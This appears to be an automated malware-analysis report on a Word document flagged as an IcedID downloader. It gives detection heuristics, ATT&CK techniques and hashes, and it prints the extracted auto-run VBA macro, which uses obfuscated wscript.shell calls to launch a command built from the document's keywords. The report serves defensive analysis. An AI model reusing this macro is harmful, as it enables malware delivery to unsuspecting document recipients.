MALICIOUS
262
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
The sample is a malicious OOXML document containing a VBA macro. The `document_open` subroutine triggers the `karoline` subroutine, which in turn calls the `s` function. The `s` function uses `CreateObject("wscript.shell")` and executes `c:\windows\explorer.exe` with a command-line argument derived from the document's keywords, likely downloading and executing a second-stage payload. The ClamAV detection name 'Doc.Downloader.IcedID' strongly suggests the IcedID family.
Heuristics 7
-
ClamAV: Doc.Downloader.IcedID-8ff0f02ff0876072-9950256-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.IcedID-8ff0f02ff0876072-9950256-0
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 1075 bytes |
SHA-256: f9e32d3c2a1c319f30c06b6276bf5de3c4918ba419cbd51d2e532a36bfee5196 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function keywords()
With ActiveDocument
nextGirlDow = .BuiltInDocumentProperties("keywords").Value
End With
keywords = StrReverse(nextGirlDow)
ActiveDocument.Content.Find.Execute FindText:="_f", ReplaceWith:=girlGirlLove, Replace:=wdReplaceAll
End Function
Public Function s(likeLove, youGirlYou, loveLikeLove)
Set karolDoorPow = CreateObject("wscr" + youGirlYou + ".shell")
karolDoorPow.exec "c:\windows\exp" & loveLikeLove & " " & likeLove
End Function
Sub document_open()
main.karoline ("")
End Sub
Attribute VB_Name = "main"
Public Sub karoline(dowTubeTube)
Dim loadLoadPow As String
loadLoadPow = ""
dowKarolTube = ThisDocument.keywords
ActiveDocument.SaveAs2 FileName:=dowKarolTube, FileFormat:=wdFormatText
ThisDocument.s dowKarolTube, "ipt", "lorer"
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 15360 bytes |
SHA-256: bf5d959079ca1252dc4036900c38fd9d0cf0ebea9e4bf1fd9eeb136b48ac4c02 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.